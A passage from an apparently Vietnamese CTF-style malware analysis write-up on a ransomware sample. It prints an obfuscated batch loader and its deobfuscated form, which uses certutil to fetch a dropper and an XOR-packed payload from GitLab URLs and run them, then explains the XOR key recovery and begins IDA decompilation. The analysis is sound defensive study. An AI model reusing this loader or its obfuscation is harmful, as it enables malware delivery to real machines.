%K¨hf:~51,1%%K¨hf:~24,1%%K¨hf:~52,1%%K¨hf:~42,1%%K¨hf:~35,1%%K¨hf:~22,1%%K¨hf:~50,1%%K¨hf:~8,1%%K¨hf:~8,1%%K¨hf:~40,1%%K¨hf:~22,1%_%K¨hf:~29,1%%K¨hf:~22,1%%K¨hf:~31,1%=%K¨hf:~5,1%%K¨hf:~52,1%%K¨hf:~52,1%%K¨hf:~30,1%%K¨hf:~51,1%://%K¨hf:~3,1%%ZmcÃIFV%%K¨hf:~45,1%%K¨hf:~52,1%%K¨hf:~37,1%%K¨hf:~32,1%%K¨hf:~39,1%.%K¨hf:~49,1%%K¨hf:~60,1%%K¨hf:~34,1%/%K¨hf:~52,1%%K¨hf:~5,1%%K¨hf:~24,1%%K¨hf:~60,1%%K¨hf:~10,1%%K¨hf:~37,1%%K¨hf:~41,1%%K¨hf:~10,1%%K¨hf:~24,1%%K¨hf:~24,1%%K¨hf:~6,1%%K¨hf:~24,1%%K¨hf:~49,1%%K¨hf:~59,1%/%K¨hf:~19,1%%K¨hf:~52,1%%K¨hf:~45,1%%K¨hf:~37,1%%K¨hf:~45,1%%K¨hf:~52,1%%K¨hf:~45,1%%K¨hf:~24,1%%K¨hf:~51,1%%‡ÃxC¹¤z%%K¨hf:~52,1%%K¨hf:~60,1%%K¨hf:~60,1%%K¨hf:~37,1%/-/%K¨hf:~61,1%%K¨hf:~32,1%%K¨hf:~15,1%/%K¨hf:~34,1%%K¨hf:~32,1%%K¨hf:~45,1%%TRãQPO%%K¨hf:~10,1%/%K¨hf:~29,1%%K¨hf:~52,1%%K¨hf:~45,1%%K¨hf:~37,1%%K¨hf:~45,1%%K¨hf:~52,1%%K¨hf:~45,1%%K¨hf:~24,1%%K¨hf:~51,1%%K¨hf:~35,1%%K¨hf:~24,1%%K¨hf:~30,1%%K¨hf:~37,1%%K¨hf:~60,1%%K¨hf:~41,1%.%K¨hf:~24,1%%K¨hf:~25,1%%K¨hf:~24,1%?%K¨hf:~45,1%%K¨hf:~10,1%%K¨hf:~37,1%%K¨hf:~45,1%%K¨hf:~10,1%%K¨hf:~24,1%=%K¨hf:~16,1%%K¨hf:~32,1%%K¨hf:~37,1%%K¨hf:~51,1%%K¨hf:~24,1% echo %K¨hf:~51,1%%K¨hf:~24,1%%K¨hf:~52,1%%K¨hf:~42,1%%K¨hf:~1,1%%K¨hf:~50,1%%K¨hf:~22,1%%K¨hf:~40,1%%K¨hf:~35,1%_%K¨hf:~63,1%%K¨hf:~50,1%%K¨hf:~22,1%%K¨hf:~40,1%_%K¨hf:~29,1%%K¨hf:~22,1%%K¨hf:~31,1%=%K¨hf:~5,1%%K¨hf:~52,1%%K¨hf:~52,1%%K¨hf:~30,1%%K¨hf:~51,1%%ygFtnºÃ%://%K¨hf:~3,1%%K¨hf:~45,1%%K¨hf:~52,1%%K¨hf:~37,1%%K¨hf:~32,1%%K¨hf:~39,1%.%K¨hf:~49,1%%K¨hf:~60,1%%K¨hf:~34,1%/%K¨hf:~52,1%%K¨hf:~5,1%%K¨hf:~24,1%%K¨hf:~60,1%%œQwÃy_º%%K¨hf:~10,1%%K¨hf:~37,1%%K¨hf:~41,1%%K¨hf:~10,1%%K¨hf:~24,1%%K¨hf:~24,1%%K¨hf:~6,1%%K¨hf:~24,1%%K¨hf:~49,1%%K¨hf:~59,1%/%K¨hf:~19,1%%K¨hf:~52,1%%K¨hf:~45,1%%K¨hf:~37,1%%K¨hf:~45,1%%ºH¢±ÃÃÃ%%K¨hf:~52,1%%K¨hf:~45,1%%K¨hf:~24,1%%K¨hf:~51,1%%K¨hf:~52,1%%K¨hf:~60,1%%K¨hf:~60,1%%K¨hf:~37,1%/-/%K¨hf:~61,1%%K¨hf:~32,1%%K¨hf:~15,1%/%K¨hf:~34,1%%K¨hf:~32,1%%K¨hf:~45,1%%K¨hf:~10,1%/%K¨hf:~7,1%%K¨hf:~51,1%%K¨hf:~51,1%%K¨hf:~24,1%%K¨hf:~52,1%.%K¨hf:~56,1%%K¨hf:~51,1%%K¨hf:~24,1%%K¨hf:~45,1%%K¨hf:~45,1%?%K¨hf:~45,1%%K¨hf:~10,1%%K¨hf:~37,1%%K¨hf:~45,1%%K¨hf:~10,1%%K¨hf:~24,1%=%K¨hf:~16,1%%K¨hf:~32,1%%K¨hf:~37,1%%K¨hf:~51,1%%K¨hf:~24,1%%Ãà ¡Ãh§% echo %K¨hf:~51,1%%K¨hf:~24,1%%à ‘i¤Ãe%%K¨hf:~52,1%%K¨hf:~42,1%%K¨hf:~48,1%%K¨hf:~40,1%%K¨hf:~12,1%%K¨hf:~8,1%%K¨hf:~42,1%=%K¨hf:~42,1%%temp% echo %K¨hf:~51,1%%K¨hf:~24,1%%K¨hf:~52,1%%K¨hf:~42,1%%K¨hf:~35,1%%K¨hf:~22,1%%K¨hf:~50,1%%K¨hf:~8,1%%K¨hf:~8,1%%K¨hf:~40,1%%K¨hf:~22,1%_%K¨hf:~50,1%%K¨hf:~29,1%%K¨hf:~48,1%%K¨hf:~8,1%%K¨hf:~29,1%%K¨hf:~48,1%=%windir%\System32\oaep.exe echo %K¨hf:~51,1%%K¨hf:~24,1%%K¨hf:~52,1%%K¨hf:~42,1%%K¨hf:~8,1%%K¨hf:~7,1%%K¨hf:~2,1%%lÅÃÃÃa%%K¨hf:~31,1%%K¨hf:~50,1%%K¨hf:~7,1%%K¨hf:~35,1%_%K¨hf:~50,1%%K¨hf:~29,1%%K¨hf:~48,1%%K¨hf:~8,1%%K¨hf:~29,1%%K¨hf:~48,1%=%temp%\Asset.kseii echo %K¨hf:~51,1%%K¨hf:~24,1%%K¨hf:~52,1%%K¨hf:~42,1%"%K¨hf:~57,1%%K¨hf:~7,1%%K¨hf:~48,1%_%K¨hf:~8,1%%K¨hf:~7,1%%K¨hf:~48,1%%K¨hf:~0,1%=%~dp0avast.bat" echo %K¨hf:~51,1%%K¨hf:~24,1%%K¨hf:~52,1%%K¨hf:~42,1%%K¨hf:~35,1%%K¨hf:~50,1%%K¨hf:~23,1%%K¨hf:~17,1%%K¨hf:~31,1%%K¨hf:~50,1%%K¨hf:~7,1%%K¨hf:~35,1%%KmPÃhsÃ%%K¨hf:~40,1%%K¨hf:~22,1%=%K¨hf:~4,1%%K¨hf:~63,1%%ºÃÃÃFUÃ%%K¨hf:~9,1%%K¨hf:~63,1%_%K¨hf:~47,1%%K¨hf:~24,1%%K¨hf:~52,1%%K¨hf:~17,1%%K¨hf:~24,1%%K¨hf:~15,1%%K¨hf:~24,1%%K¨hf:~51,1%%K¨hf:~52,1%%K¨hf:~54,1%%K¨hf:~24,1%%¨Ã§ÃCNO%%K¨hf:~61,1%%K¨hf:~51,1%%K¨hf:~45,1%%K¨hf:~60,1%%K¨hf:~10,1%%Ãj…_mÃÃ% echo %K¨hf:~51,1%%K¨hf:~24,1%%K¨hf:~52,1%%K¨hf:~42,1%%K¨hf:~35,1%%K¨hf:~22,1%%K¨hf:~50,1%%K¨hf:~8,1%%K¨hf:~8,1%%K¨hf:~40,1%%K¨hf:~22,1%_%K¨hf:~29,1%%K¨hf:~22,1%%K¨hf:~31,1%=%K¨hf:~5,1%%K¨hf:~52,1%%K¨hf:~52,1%%K¨hf:~30,1%%K¨hf:~51,1%://%K¨hf:~3,1%%ZmcÃIFV%%K¨hf:~45,1%%K¨hf:~52,1%%K¨hf:~37,1%%K¨hf:~32,1%%K¨hf:~39,1%.%K¨hf:~49,1%%K¨hf:~60,1%%K¨hf:~34,1%/%K¨hf:~52,1%%K¨hf:~5,1%%K¨hf:~24,1%%K¨hf:~60,1%%K¨hf:~10,1%%K¨hf:~37,1%%K¨hf:~41,1%%K¨hf:~10,1%%K¨hf:~24,1%%K¨hf:~24,1%%K¨hf:~6,1%%K¨hf:~24,1%%K¨hf:~49,1%%K¨hf:~59,1%/%K¨hf:~19,1%%K¨hf:~52,1%%K¨hf:~45,1%%K¨hf:~37,1%%K¨hf:~45,1%%K¨hf:~52,1%%K¨hf:~45,1%%K¨hf:~24,1%%K¨hf:~51,1%%‡ÃxC¹¤z%%K¨hf:~52,1%%K¨hf:~60,1%%K¨hf:~60,1%%K¨hf:~37,1%/-/%K¨hf:~61,1%%K¨hf:~32,1%%K¨hf:~15,1%/%K¨hf:~34,1%%K¨hf:~32,1%%K¨hf:~45,1%%TRãQPO%%K¨hf:~10,1%/%K¨hf:~29,1%%K¨hf:~52,1%%K¨hf:~45,1%%K¨hf:~37,1%%K¨hf:~45,1%%K¨hf:~52,1%%K¨hf:~45,1%%K¨hf:~24,1%%K¨hf:~51,1%%K¨hf:~35,1%%K¨hf:~24,1%%K¨hf:~30,1%%K¨hf:~37,1%%K¨hf:~60,1%%K¨hf:~41,1%.%K¨hf:~24,1%%K¨hf:~25,1%%K¨hf:~24,1%?%K¨hf:~45,1%%K¨hf:~10,1%%K¨hf:~37,1%%K¨hf:~45,1%%K¨hf:~10,1%%K¨hf:~24,1%=%K¨hf:~16,1%%K¨hf:~32,1%%K¨hf:~37,1%%K¨hf:~51,1%%K¨hf:~24,1% echo %K¨hf:~51,1%%K¨hf:~24,1%%K¨hf:~52,1%%K¨hf:~42,1%%K¨hf:~1,1%%K¨hf:~50,1%%K¨hf:~22,1%%K¨hf:~40,1%%K¨hf:~35,1%_%K¨hf:~63,1%%K¨hf:~50,1%%K¨hf:~22,1%%K¨hf:~40,1%_%K¨hf:~29,1%%K¨hf:~22,1%%K¨hf:~31,1%=%K¨hf:~5,1%%K¨hf:~52,1%%K¨hf:~52,1%%K¨hf:~30,1%%K¨hf:~51,1%%ygFtnºÃ%://%K¨hf:~3,1%%K¨hf:~45,1%%K¨hf:~52,1%%K¨hf:~37,1%%K¨hf:~32,1%%K¨hf:~39,1%.%K¨hf:~49,1%%K¨hf:~60,1%%K¨hf:~34,1%/%K¨hf:~52,1%%K¨hf:~5,1%%K¨hf:~24,1%%K¨hf:~60,1%%œQwÃy_º%%K¨hf:~10,1%%K¨hf:~37,1%%K¨hf:~41,1%%K¨hf:~10,1%%K¨hf:~24,1%%K¨hf:~24,1%%K¨hf:~6,1%%K¨hf:~24,1%%K¨hf:~49,1%%K¨hf:~59,1%/%K¨hf:~19,1%%K¨hf:~52,1%%K¨hf:~45,1%%K¨hf:~37,1%%K¨hf:~45,1%%ºH¢±ÃÃÃ%%K¨hf:~52,1%%K¨hf:~45,1%%K¨hf:~24,1%%K¨hf:~51,1%%K¨hf:~52,1%%K¨hf:~60,1%%K¨hf:~60,1%%K¨hf:~37,1%/-/%K¨hf:~61,1%%K¨hf:~32,1%%K¨hf:~15,1%/%K¨hf:~34,1%%K¨hf:~32,1%%K¨hf:~45,1%%K¨hf:~10,1%/%K¨hf:~7,1%%K¨hf:~51,1%%K¨hf:~51,1%%K¨hf:~24,1%%K¨hf:~52,1%.%K¨hf:~56,1%%K¨hf:~51,1%%K¨hf:~24,1%%K¨hf:~45,1%%K¨hf:~45,1%?%K¨hf:~45,1%%K¨hf:~10,1%%K¨hf:~37,1%%K¨hf:~45,1%%K¨hf:~10,1%%K¨hf:~24,1%=%K¨hf:~16,1%%K¨hf:~32,1%%K¨hf:~37,1%%K¨hf:~51,1%%K¨hf:~24,1%%Ãà ¡Ãh§% echo %K¨hf:~51,1%%K¨hf:~24,1%%à ‘i¤Ãe%%K¨hf:~52,1%%K¨hf:~42,1%%K¨hf:~48,1%%K¨hf:~40,1%%K¨hf:~12,1%%K¨hf:~8,1%%K¨hf:~42,1%=%K¨hf:~42,1%%temp% echo %K¨hf:~51,1%%K¨hf:~24,1%%K¨hf:~52,1%%K¨hf:~42,1%%K¨hf:~35,1%%K¨hf:~22,1%%K¨hf:~50,1%%K¨hf:~8,1%%K¨hf:~8,1%%K¨hf:~40,1%%K¨hf:~22,1%_%K¨hf:~50,1%%K¨hf:~29,1%%K¨hf:~48,1%%K¨hf:~8,1%%K¨hf:~29,1%%K¨hf:~48,1%=%windir%\System32\oaep.exe echo %K¨hf:~51,1%%K¨hf:~24,1%%K¨hf:~52,1%%K¨hf:~42,1%%K¨hf:~8,1%%K¨hf:~7,1%%K¨hf:~2,1%%lÅÃÃÃa%%K¨hf:~31,1%%K¨hf:~50,1%%K¨hf:~7,1%%K¨hf:~35,1%_%K¨hf:~50,1%%K¨hf:~29,1%%K¨hf:~48,1%%K¨hf:~8,1%%K¨hf:~29,1%%K¨hf:~48,1%=%temp%\Asset.kseii echo %K¨hf:~51,1%%K¨hf:~24,1%%K¨hf:~52,1%%K¨hf:~42,1%"%K¨hf:~57,1%%K¨hf:~7,1%%K¨hf:~48,1%_%K¨hf:~8,1%%K¨hf:~7,1%%K¨hf:~48,1%%K¨hf:~0,1%=%~dp0avast.bat" echo %K¨hf:~49,1%%K¨hf:~24,1%%K¨hf:~61,1%%K¨hf:~52,1%%K¨hf:~19,1%%K¨hf:~52,1%%K¨hf:~45,1%%K¨hf:~37,1%%K¨hf:~42,1%-%K¨hf:~19,1%%K¨hf:~61,1%%K¨hf:~37,1%%K¨hf:~49,1%%K¨hf:~32,1%%K¨hf:~49,1%%K¨hf:~5,1%%K¨hf:~24,1%%K¨hf:~42,1%-%K¨hf:~51,1%%K¨hf:~30,1%%K¨hf:~37,1%%K¨hf:~45,1%%K¨hf:~52,1%%K¨hf:~42,1%-%K¨hf:~16,1%%K¨hf:~42,1%%DROPPER_URL% %DROPPER_OUTPUT% >nul 2>&1 echo %K¨hf:~49,1%%K¨hf:~24,1%%K¨hf:~61,1%%K¨hf:~52,1%%K¨hf:~19,1%%K¨hf:~52,1%%K¨hf:~45,1%%K¨hf:~37,1%%K¨hf:~42,1%-%K¨hf:~19,1%%K¨hf:~61,1%%K¨hf:~37,1%%K¨hf:~49,1%%K¨hf:~32,1%%K¨hf:~49,1%%K¨hf:~5,1%%K¨hf:~24,1%%K¨hf:~42,1%-%K¨hf:~51,1%%K¨hf:~30,1%%K¨hf:~37,1%%K¨hf:~45,1%%K¨hf:~52,1%%K¨hf:~42,1%-%K¨hf:~16,1%%K¨hf:~42,1%%XORED_CORE_URL% %PAYLOAD_OUTPUT% >nul 2>&1 echo %K¨hf:~16,1%%K¨hf:~52,1%%K¨hf:~41,1%%K¨hf:~30,1%%K¨hf:~24,1%%K¨hf:~42,1%%K¨hf:~4,1%%K¨hf:~63,1%%¤M_aÃÃÃ%%K¨hf:~9,1%%K¨hf:~63,1%%K¨hf:~8,1%%K¨hf:~61,1%%K¨hf:~60,1%%K¨hf:~52,1%%K¨hf:~60,1%%K¨hf:~52,1%%K¨hf:~41,1%%K¨hf:~30,1%%K¨hf:~24,1%="%DROPPER_OUTPUT%" "%%1" & assoc .kseii=KCSCPrototype echo %PAYLOAD_OUTPUT% echo %temp%\AssetHelper.exe echo %K¨hf:~52,1%%K¨hf:~45,1%%K¨hf:~34,1%%K¨hf:~24,1%%K¨hf:~60,1%%K¨hf:~19,1%%K¨hf:~52,1%%ÃBÃnu¼i%%K¨hf:~42,1%/%K¨hf:~52,1%%K¨hf:~42,1%%K¨hf:~59,1%%K¨hf:~62,1%%K¨hf:~42,1%&%K¨hf:~42,1%%K¨hf:~18,1%%K¨hf:~24,1%%K¨hf:~37,1%%K¨hf:~42,1%/%K¨hf:~16,1%%K¨hf:~42,1%/%K¨hf:~43,1%%K¨hf:~42,1%%DROPPER_OUTPUT% echo %K¨hf:~52,1%%K¨hf:~45,1%%K¨hf:~34,1%%K¨hf:~24,1%%dÃìÃí%%K¨hf:~60,1%%­wÃÃiÃx%%K¨hf:~19,1%%K¨hf:~52,1%%K¨hf:~42,1%/%K¨hf:~52,1%%K¨hf:~42,1%%K¨hf:~59,1%%M®ÃÃvIb%%K¨hf:~62,1%%_ÃsYNpU%%K¨hf:~42,1%&%K¨hf:~42,1%%K¨hf:~18,1%%K¨hf:~24,1%%K¨hf:~37,1%%K¨hf:~42,1%/%K¨hf:~16,1%%K¨hf:~42,1%/%K¨hf:~43,1%%K¨hf:~42,1%%temp%\AssetHelper.exe echo %K¨hf:~52,1%%K¨hf:~45,1%%K¨hf:~34,1%%K¨hf:~24,1%%K¨hf:~60,1%%K¨hf:~19,1%%K¨hf:~52,1%%K¨hf:~42,1%/%K¨hf:~52,1%%K¨hf:~42,1%%K¨hf:~59,1%%K¨hf:~62,1%%K¨hf:~42,1%&%K¨hf:~42,1%%K¨hf:~18,1%%K¨hf:~24,1%%K¨hf:~37,1%%K¨hf:~42,1%%yN¥£ºÃ„%/%K¨hf:~16,1%%K¨hf:~42,1%/%K¨hf:~43,1%%K¨hf:~42,1% echo %K¨hf:~61,1%%K¨hf:~52,1%%K¨hf:~19,1%%K¨hf:~52,1%%K¨hf:~45,1%%K¨hf:~37,1%%K¨hf:~42,1%%K¨hf:~19,1%%K¨hf:~61,1%%K¨hf:~37,1%%K¨hf:~49,1%%K¨hf:~32,1%%K¨hf:~49,1%%K¨hf:~5,1%%K¨hf:~24,1%%K¨hf:~42,1%-%K¨hf:~51,1%%K¨hf:~30,1%%K¨hf:~37,1%%K¨hf:~45,1%%K¨hf:~52,1%%K¨hf:~42,1%-%K¨hf:~16,1%%K¨hf:~42,1%%DROPPER_URL% %DROPPER_OUTPUT% >nul 2>&1 echo %K¨hf:~49,1%%K¨hf:~24,1%%K¨hf:~61,1%%K¨hf:~52,1%%K¨hf:~19,1%%K¨hf:~52,1%%K¨hf:~45,1%%K¨hf:~37,1%%K¨hf:~42,1%-%K¨hf:~19,1%%K¨hf:~61,1%%K¨hf:~37,1%%K¨hf:~49,1%%K¨hf:~32,1%%K¨hf:~49,1%%K¨hf:~5,1%%K¨hf:~24,1%%K¨hf:~42,1%-%K¨hf:~51,1%%K¨hf:~30,1%%K¨hf:~37,1%%K¨hf:~45,1%%K¨hf:~52,1%%K¨hf:~42,1%-%K¨hf:~16,1%%K¨hf:~42,1%%XORED_CORE_URL% %PAYLOAD_OUTPUT% >nul 2>&1 echo %K¨hf:~16,1%%K¨hf:~52,1%%K¨hf:~41,1%%K¨hf:~30,1%%K¨hf:~24,1%%K¨hf:~42,1%%K¨hf:~4,1%%K¨hf:~63,1%%¤M_aÃÃÃ%%K¨hf:~9,1%%K¨hf:~63,1%%K¨hf:~8,1%%K¨hf:~61,1%%K¨hf:~60,1%%K¨hf:~52,1%%K¨hf:~60,1%%K¨hf:~52,1%%K¨hf:~41,1%%K¨hf:~30,1%%K¨hf:~24,1%="%DROPPER_OUTPUT%" "%%1" & assoc .kseii=KCSCPrototype %PAYLOAD_OUTPUT% %temp%\AssetHelper.exe echo "%K¨hf:~52,1%%K¨hf:~45,1%%K¨hf:~34,1%%K¨hf:~24,1%%K¨hf:~60,1%%K¨hf:~19,1%%K¨hf:~52,1%%ÃBÃnu¼i%%K¨hf:~42,1%/%K¨hf:~52,1%%K¨hf:~42,1%%K¨hf:~59,1%%K¨hf:~62,1%%K¨hf:~42,1%&%K¨hf:~42,1%%K¨hf:~18,1%%K¨hf:~24,1%%K¨hf:~37,1%%K¨hf:~42,1%/%K¨hf:~16,1%%K¨hf:~42,1%/%K¨hf:~43,1%%K¨hf:~42,1%%DROPPER_OUTPUT%" echo %K¨hf:~52,1%%K¨hf:~45,1%%K¨hf:~34,1%%K¨hf:~24,1%%dÃìÃí%%K¨hf:~60,1%%­wÃÃiÃx%%K¨hf:~19,1%%K¨hf:~52,1%%K¨hf:~42,1%/%K¨hf:~52,1%%K¨hf:~42,1%%K¨hf:~59,1%%M®ÃÃvIb%%K¨hf:~62,1%%_ÃsYNpU%%K¨hf:~42,1%&%K¨hf:~42,1%%K¨hf:~18,1%%K¨hf:~24,1%%K¨hf:~37,1%%K¨hf:~42,1%/%K¨hf:~16,1%%K¨hf:~42,1%/%K¨hf:~43,1%%K¨hf:~42,1%%temp%\AssetHelper.exe echo %K¨hf:~52,1%%K¨hf:~45,1%%K¨hf:~34,1%%K¨hf:~24,1%%K¨hf:~60,1%%K¨hf:~19,1%%K¨hf:~52,1%%K¨hf:~42,1%/%K¨hf:~52,1%%K¨hf:~42,1%%K¨hf:~59,1%%K¨hf:~62,1%%K¨hf:~42,1%&%K¨hf:~42,1%%K¨hf:~18,1%%K¨hf:~24,1%%K¨hf:~37,1%%K¨hf:~42,1%%yN¥£ºÃ„%/%K¨hf:~16,1%%K¨hf:~42,1%/%K¨hf:~43,1%%K¨hf:~42,1%%BAT_PATH% ``` Ghi vào 1 file `.bat`, sau đó chạy nó, mình có được: ```powershell! PS C:\Users\Admin\Downloads> .\a.bat C:\Users\Admin\Downloads>echo set DOWNLOADER=KCSC_GetNewestVersion set DOWNLOADER=KCSC_GetNewestVersion C:\Users\Admin\Downloads>echo set DROPPER_URL=https://gitlab.com/theonlyneevec1/utilitiestool/-/raw/main/UtilitiesDeploy.exe?inline=false set DROPPER_URL=https://gitlab.com/theonlyneevec1/utilitiestool/-/raw/main/UtilitiesDeploy.exe?inline=false C:\Users\Admin\Downloads>echo set XORED_CORE_URL=https://gitlab.com/theonlyneevec1/utilitiestool/-/raw/main/Asset.kseii?inline=false set XORED_CORE_URL=https://gitlab.com/theonlyneevec1/utilitiestool/-/raw/main/Asset.kseii?inline=false C:\Users\Admin\Downloads>echo set TEMP = C:\Users\Admin\AppData\Local\Temp set TEMP = C:\Users\Admin\AppData\Local\Temp C:\Users\Admin\Downloads>echo set DROPPER_OUTPUT=C:\Windows\System32\oaep.exe set DROPPER_OUTPUT=C:\Windows\System32\oaep.exe C:\Users\Admin\Downloads>echo set PAYLOAD_OUTPUT=C:\Users\Admin\AppData\Local\Temp\Asset.kseii set PAYLOAD_OUTPUT=C:\Users\Admin\AppData\Local\Temp\Asset.kseii C:\Users\Admin\Downloads>echo set "BAT_PATH=C:\Users\Admin\Downloads\avast.bat" set "BAT_PATH=C:\Users\Admin\Downloads\avast.bat" C:\Users\Admin\Downloads>echo set DOWNLOADER=KCSC_GetNewestVersion set DOWNLOADER=KCSC_GetNewestVersion C:\Users\Admin\Downloads>echo set DROPPER_URL=https://gitlab.com/theonlyneevec1/utilitiestool/-/raw/main/UtilitiesDeploy.exe?inline=false set DROPPER_URL=https://gitlab.com/theonlyneevec1/utilitiestool/-/raw/main/UtilitiesDeploy.exe?inline=false C:\Users\Admin\Downloads>echo set XORED_CORE_URL=https://gitlab.com/theonlyneevec1/utilitiestool/-/raw/main/Asset.kseii?inline=false set XORED_CORE_URL=https://gitlab.com/theonlyneevec1/utilitiestool/-/raw/main/Asset.kseii?inline=false C:\Users\Admin\Downloads>echo set TEMP = C:\Users\Admin\AppData\Local\Temp set TEMP = C:\Users\Admin\AppData\Local\Temp C:\Users\Admin\Downloads>echo set DROPPER_OUTPUT=C:\Windows\System32\oaep.exe set DROPPER_OUTPUT=C:\Windows\System32\oaep.exe C:\Users\Admin\Downloads>echo set PAYLOAD_OUTPUT=C:\Users\Admin\AppData\Local\Temp\Asset.kseii set PAYLOAD_OUTPUT=C:\Users\Admin\AppData\Local\Temp\Asset.kseii C:\Users\Admin\Downloads>echo set "BAT_PATH=C:\Users\Admin\Downloads\avast.bat" set "BAT_PATH=C:\Users\Admin\Downloads\avast.bat" C:\Users\Admin\Downloads>echo certutil -urlcache -split -f 1>nul 2>&1 C:\Users\Admin\Downloads>echo certutil -urlcache -split -f 1>nul 2>&1 C:\Users\Admin\Downloads>echo ftype KCSCPrototype="" "%1" & assoc .kseii=KCSCPrototype ftype KCSCPrototype="" "%1" .kseii=KCSCPrototype C:\Users\Admin\Downloads>echo ECHO is on. C:\Users\Admin\Downloads>echo C:\Users\Admin\AppData\Local\Temp\AssetHelper.exe C:\Users\Admin\AppData\Local\Temp\AssetHelper.exe C:\Users\Admin\Downloads>echo timeout /t 10 & del /f /q timeout /t 10 The syntax of the command is incorrect. C:\Users\Admin\Downloads>echo timeout /t 10 & del /f /q C:\Users\Admin\AppData\Local\Temp\AssetHelper.exe timeout /t 10 Could Not Find C:\Users\Admin\AppData\Local\Temp\AssetHelper.exe C:\Users\Admin\Downloads>echo timeout /t 10 & del /f /q timeout /t 10 The syntax of the command is incorrect. C:\Users\Admin\Downloads>echo rtutil urlcache -split -f 1>nul 2>&1 C:\Users\Admin\Downloads>echo certutil -urlcache -split -f 1>nul 2>&1 C:\Users\Admin\Downloads>echo ftype KCSCPrototype="" "%1" & assoc .kseii=KCSCPrototype ftype KCSCPrototype="" "%1" .kseii=KCSCPrototype C:\Users\Admin\Downloads>C:\Users\Admin\AppData\Local\Temp\AssetHelper.exe 'C:\Users\Admin\AppData\Local\Temp\AssetHelper.exe' is not recognized as an internal or external command, operable program or batch file. C:\Users\Admin\Downloads>echo "timeout /t 10 & del /f /q " "timeout /t 10 & del /f /q " C:\Users\Admin\Downloads>echo timeout /t 10 & del /f /q C:\Users\Admin\AppData\Local\Temp\AssetHelper.exe timeout /t 10 Could Not Find C:\Users\Admin\AppData\Local\Temp\AssetHelper.exe C:\Users\Admin\Downloads>echo timeout /t 10 & del /f /q timeout /t 10 The syntax of the command is incorrect. PS C:\Users\Admin\Downloads> ``` Rút gọn dễ nhìn hơn: ```powershell! @echo off set "DOWNLOADER=KCSC_GetNewestVersion" set "DROPPER_URL=https://gitlab.com/theonlyneevec1/utilitiestool/-/raw/main/UtilitiesDeploy.exe?inline=false" set "XORED_CORE_URL=https://gitlab.com/theonlyneevec1/utilitiestool/-/raw/main/Asset.kseii?inline=false" set "DROPPER_OUTPUT=%WINDIR%\System32\oaep.exe" set "PAYLOAD_OUTPUT=%TEMP%\Asset.kseii" set "BAT_PATH=%~dp0avast.bat" :: tải dropper & payload (ẩn stdout/stderr) certutil -urlcache -split -f "%DROPPER_URL%" "%DROPPER_OUTPUT%" 1>nul 2>&1 certutil -urlcache -split -f "%XORED_CORE_URL%" "%PAYLOAD_OUTPUT%" 1>nul 2>&1 :: khai báo file association cho .kseii ftype KCSCPrototype="" "%%1" assoc .kseii=KCSCPrototype :: chạy dropper với tham số (payload) "%DROPPER_OUTPUT%" "%PAYLOAD_OUTPUT%" :: dọn rác helper tạm (nếu có) timeout /t 10 >nul & del /f /q "%TEMP%\AssetHelper.exe" 2>nul ``` Trong đoạn batch trên, mã độc tắt echo (`@echo off`), khai báo biến cấu hình rồi lợi dụng **LOLBIN** `certutil` để tải hai tệp từ GitLab: **dropper** (`DROPPER_URL → %WINDIR%\System32\oaep.exe`) và **payload/parameter** (`XORED_CORE_URL → %TEMP%\Asset.kseii`) — cả hai lệnh tải đều giấu stdout/stderr bằng `1>nul 2>&1`. Tiếp theo, script tạo **file association** cho đuôi lạ `.kseii` (`assoc .kseii=KCSCPrototype` và `ftype KCSCPrototype="" "%1"`) để hợp thức hóa thao tác trên loại tệp này. Cuối cùng nó **chạy dropper** với **đường dẫn payload** làm tham số (`"%DROPPER_OUTPUT%" "%PAYLOAD_OUTPUT%"`). Trong mẫu này, `Asset.kseii` không phải PE trực tiếp mà là **gói XOR** (khóa 4‐byte lặp `CAFEBABE`); dropper sẽ đọc, **XOR giải bọc** để thu về **PE (MZ)** thật rồi thực thi logic kế tiếp. --- ### 2.3 Recover Ransomware Sau khi mình deob thành công và nắm được hành vi của đoạn mã này, mình có thử truy cập vô link gitlab, nhưng mình không thể truy cập tải file đó về được: ![image](https://hackmd.io/_uploads/rkRWIXFhxx.png) ![image](https://hackmd.io/_uploads/HkW4I7Ynee.png) Nhưng đọc kỹ lại thì mình phát hiện được bản sao Asset.kseii trong %TEMP%, nhanh trí search thử: ![image](https://hackmd.io/_uploads/B1AKL7Fnle.png) Nó thực sự xuất hiện, như logic mới phân tích trên thì khi kiểm tra file này thử mình phát hiện được điều khá thú vị: ![image](https://hackmd.io/_uploads/BJzJvQKnge.png) Chuỗi `ca fe ba be` được lặp lại liên tục, có ý nghĩa gì? Với XOR lặp (stream/key ngắn lặp lại), ta có: ```bash! cipher[i] = plain[i] XOR key[i mod L] ``` Nếu ở một đoạn nào đó của plain chứa rất nhiều byte 0x00 liên tiếp (padding / vùng rỗng do căn lề của PE, các khoảng trống giữa section, vùng .bss “zero-fill”…), thì: ```bash! cipher[i] = 0x00 XOR key[j] = key[j] ``` Trong file PE/EXE thật, các đoạn 0x00 liên tục cực kỳ phổ biến (alignment 0x200/0x1000, slack space, vùng chưa dùng). Vì thế nếu author để mã độc dùng XOR với khóa ngắn (4/8/16 byte) thì trong ciphertext sẽ lộ nguyên pattern khóa — ở case này chính là: ![image](https://hackmd.io/_uploads/rJ8XwXY2xg.png) ![image](https://hackmd.io/_uploads/SkODMct2le.png) > Đúng là `ca fe ba be` là các đoạn `00 00 00 00` trong con ransom. Đúng như những gì mong đợi, ta đã khôi phục thành công con ransomware này, tiếp tục đến bước reverse nó. --- ### 2.4 Reverse Ransomware Bật IDA lên và bắt đầu phân tích thôi: #### 2.4.1 main → khởi tạo nạn nhân & IV ```C! int __fastcall main(int argc, const char **argv, const char **envp) { unsigned __int64 v4; // rbx BOOL v5; // ebx LPDWORD lpMaximumComponentLength; // [rsp+20h] [rbp-E0h] DWORD VolumeSerialNumber; // [rsp+40h] [rbp-C0h] BYREF DWORD FileSystemFlags; // [rsp+44h] [rbp-BCh] BYREF DWORD MaximumComponentLength; // [rsp+48h] [rbp-B8h] BYREF DWORD pcbBuffer; // [rsp+4Ch] [rbp-B4h] BYREF DWORD nSize; // [rsp+50h] [rbp-B0h] BYREF HCRYPTPROV phProv; // [rsp+58h] [rbp-A8h] BYREF __int64 v13; // [rsp+60h] [rbp-A0h] BYREF int v14; // [rsp+68h] [rbp-98h] int v15; // [rsp+6Ch] [rbp-94h] int v16; // [rsp+70h] [rbp-90h] int v17; // [rsp+74h] [rbp-8Ch] __int128 v18; // [rsp+B8h] [rbp-48h] __int128 v19; // [rsp+D0h] [rbp-30h] BYREF WCHAR v20[16]; // [rsp+E0h] [rbp-20h] BYREF BYTE pbBuffer[32]; 